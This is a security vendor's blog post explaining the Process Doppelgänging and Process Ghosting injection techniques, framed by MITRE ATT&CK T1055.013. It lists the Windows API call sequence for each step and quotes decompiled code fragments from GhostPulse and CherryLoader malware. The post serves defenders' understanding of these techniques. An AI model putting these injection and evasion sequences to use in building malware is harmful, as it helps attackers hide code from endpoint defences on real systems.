Huseyin Can YUCEEL | March 07, 2025 | 6 MIN READ

LAST UPDATED ON MARCH 11, 2025

MITRE ATT&CK T1055.013 Process Injection: Process Doppelgänging

Process Doppelgänging is a process injection technique that allows adversaries to execute malicious code by manipulating the Windows process loading mechanism. This technique exploits the way Windows handles executable files and transactions, enabling attackers to create and run a process that appears legitimate while actually executing malicious code. Unlike traditional process injection methods, Process Doppelgänging does not require writing a malicious file to disk, making it extremely effective at bypassing antivirus and endpoint detection systems.

In this blog post, we explain the T1055.013 Process Doppelgänging technique of the MITRE ATT&CK® framework and explore how adversaries employ Process Doppelgänging with real-world attack examples in detail.

rr25-mockup1

 

 


The Red Report 2025
The 10 Most Prevalent MITRE ATT&CK Techniques Used by Adversaries


What is Transactional NTFS (TxF)?

Transactional NTFS (TxF) is a feature in Windows that allows file operations on an NTFS file system volume to be performed as part of a transaction [1]. Transactions help improve applications' reliability by ensuring that data consistency and integrity are maintained even in a failure. Adversaries may abuse TxF to perform a technique called "process doppelgänging" which involves replacing the memory of a legitimate process with malicious code using TxF transactions. 

Adversary Use of Process Doppelgänging

Process doppelgänging is a fileless attack technique enabling the execution of arbitrary code within a legitimate process without writing malicious code to disk. This method helps malware evade security software designed to detect and block malicious code execution.

The technique leverages the Transactional NTFS (TxF) feature in Windows, which allows transactional file operations. Changes to files remain uncommitted until the transaction completes, enabling rollback to maintain file system integrity.

An attacker can exploit TxF by creating a suspended process, injecting malicious code into its memory, and initiating a transaction. The attacker modifies the process' executable file within the transaction and commits it, replacing legitimate code with malicious code. The process is then resumed, running the malicious code under the guise of a trusted application.

While similar to Process Hollowing, which replaces the memory of a legitimate process with malicious code, Process Doppelgänging uniquely uses TxF transactions, enhancing its ability to evade detection. Below, you can find the four steps of the Process Doppelgänging sub-technique attack flow.

Below, you can find the four steps of the Process Doppelgänging sub-technique attack flow.

1. Transact: A TxF transaction is created using a legitimate executable, and the file is then overwritten with malicious code. These changes are isolated and only visible within the context of the transaction.

  • CreateTransaction() - called to create a transaction.

  • CreateFileTransacted() - called to open a "clean" file transacted.

  • WriteFile() - called to overwrite the file with a malicious shellcode.

2. Load: A shared section of memory is created, and the malicious executable is loaded into it.

  • NtCreateSection() - called to create a section from the transacted file.

3. Rollback: The changes to the original executable are undone, effectively removing the malicious code from the file system.

  • RollbackTransaction() - called to rollback the transaction to remove the changes from the file system.

4. Animate: A process is created from the tainted section of memory, and execution is initiated.

  • NtCreateProcessEx() and NtCreateThreadEx() - called to create process and thread objects.

  • RtlCreateProcessParametersEx() - called to create process parameters. 

  • VirtualAllocEx() and WriteProcessMemory() - called to copy parameters to the newly created process' address space.

  • NtResumeThread() - called to start execution of the doppelgänged process.

GhostPulse is a loader malware observed to use the process doppelgänging technique [2]. The malware follows the typical attack flow by leveraging the NTFS transactions to inject the final payload into a new child process. GhostPulse malware uses this technique to deploy other malware, such as NetSupport, Rhadamanthys, SectopRAT, and Vidar

if(!sub_420ED((int *)a1))
    return 0;
if(!core::create_transaction((int)a1) || !core::create_temp_file(a1) || !core::create_section((int)a1))
    goto LABEL_16;

core::roll_back_transcation((core::stage4::IAT ***)а1);
if(!core::build_target_process_path(a1))
    return 0;
if(core::spawn_suspended_process((int)&savedregs, a1)
    && (unsigned_int8)core::map_view_section_to_target(a1)
    && core::set_eip(a1)
    && sub_422610(a1)
    && (sleep(**a1,100,300), core::resume_thread((int)a1)))

In another example, the Malware-as-a-Server (MaaS) group LummaStealer was observed to use IDAT Loader to deploy LummaC2 via process doppelgänging [3]. When first executed, IDAT Loader uses DLL load order hijacking to load malicious DLLs and creates a cmd.exe process. This process then injects the LummaC2 payload into explorer.exe using the NtWriteVirtualMemory API call.

Process Ghosting

Process ghosting is another injection technique similar to Process Doppelgänging. It is a stealthy code injection technique that enables adversaries to run malicious code by creating a new process that appears legitimate but is backed by malicious content. Instead of executing a normal executable file, attackers use techniques to modify the memory of the newly created process before it becomes visible to the operating system. By manipulating process structures during creation, adversaries execute code that bypass traditional detection methods.

In January 2024, CherryLoader malware was reported to use process ghosting using the method described below [4].

  • The malware starts by creating a file using the CreateFile API with the DELETE flag set as its dwDesiredAccess parameter.

FileA = CreateFileA(next_stage_file, 0xC0010000, 0, 0i64, 2u, 0x80u, 0i64);

  • Then, the malware sets the FileInformation parameter using NtSetInformationFile API and points the parameter to a FILE_DISPOSITION_INFORMATION. This structure has a single Boolean parameter called DeleteFile, which, when set, causes the operating system to delete the file when it is closed.

FileInfo.DeleteFileA = 1;

ModuleHandleA = GetModuleHandleA("ntdll");

NtSetInformationFile = GetProcAddress(ModuleHandleA, "NtSetInformationFile");

(NtSetInformationFile)(FileA, IoBlock, &FileInfo, 1i64, 13);

  • Using the WriteFile API, The malware writes the decrypted malware into a newly created file and creates an image section using NtCreateSection.

if ( !base_addr

  || !WriteFile(FileA, base_addr, Buffer, &FileSizeHigh, 0i64)

  || (free(encrypted_file),

     (free)(base_addr),

     v22 = GetModuleHandleA("ntdll"),

     NtCreateSection = GetProcAddress(v22, "NtCreateSection"),

     (NtCreateSection)(&mapped_section, 983071i64, 0i64, 2, 0x1000000, FileA) <0))

  • After the image section is created, the malware uses CreateFileMappingA and MapViewOfFile to map the created file into memory.

FileMappingA = CreateFileMappingA(FileA, 0i64, 2u, 0, 0, 0i64);

v26= FileMappingA;

if ( !FileMappingA )

     Return sub_140001A20("Failed");

v27 = MapViewOfFile(FileMappingA, 4u, 0, 0, v24);

  • Once the file mapping is created, the malware closes the handles to the mapped files, causing the deletion of the previously created file.

CloseHandle(v26);

UnmapViewOfFile(map_view_of_file);

CloseHandle(FileA);

hProcess = 0i64;

  • Using the previously mapped section, the malware creates a new process and retrieves and sets the environment variables using CreateEnvironmentBlock and RtlCreateProcessParameters functions.

if  ((NtCreateProcess)(

     &hProcess,

     0x1FFFFFi64,

     0i64,

     CurrentProcess,

     dwCreationDisposition,

     mapped_section,

     0i64,

     0i64) < 0 )

  return print("Failed");

CreateEnvironmentBlock(&Environment, 0i64, 1);

v10 = GetModuleHandleA("ntdll");

RtlCreateProcessParameters = GetProcAddress(v10, "RtlCreateProcessParameters");

ProcessParams = 0i64;

if ( ( RtlCreateProcessParameters)(

     &ProcessParams,

     &command_line,

     &dll_path,

     &current_directory,

     &command_line,     

     Environment,

     &windows_title,

     0i64,

     0i64,

     0i64) >= 0 )

  • Before creating a new execution thread, the malware allocates memory into the newly created process using VirtualAllocEx, WriteProcessMemory and ReadProcessMemory functions to set the base address, process parameters, and environment data into the newly allocated memory.

if ( !VirtualAllocEx(new_hProcess, lpAddress, size - lpAddress, 0x3000u, 4u))

  return 0i64;

if ( !WriteProcessMemory(new_hProcess, rtl_params, rtl_params, rtl_params→Length, 0i64))

  return 0i64;

  • Finally, the malware creates a new thread using a handle to the newly created process and the NtCreateThreadEx function to start the execution of the process to be injected, returning the Thread ID.

if ( (NtCreateThreadEx)(&Thread, 0x1FFFFFi64, 0i64, hProcess, v45, 0i64, 0, 0i64, 0i64, 0i64, 0i64) >= 0 )

{

  ThreadId = GetThreatId(Thread);

  Return sub_140001A20("Success - Thread ID %d\r\n", ThreadId);

Ready to Simulate Real-World Threats From Red Report 2025?

References

[1] "About Transactional NTFS." Available: https://learn.microsoft.com/en-us/windows/win32/fileio/about-transactional-ntfs 

[2] S. Bitam and J. Desimone, "GHOSTPULSE haunts victims using defense evasion bag o' tricks." Available: https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks

[3] "Website." Available: https://blogs.vmware.com/security/2023/10/an-ilummanation-on-lummastealer.html 

[4] H. Azzam, C. Prest, and S. Campbell, "CherryLoader: A New Go-based Loader Discovered in Recent Intrusions," Arctic Wolf, Jan. 24, 2024. Available: https://arcticwolf.com/resources/blog/cherryloader-a-new-go-based-loader-discovered-in-recent-intrusions/

Table of Contents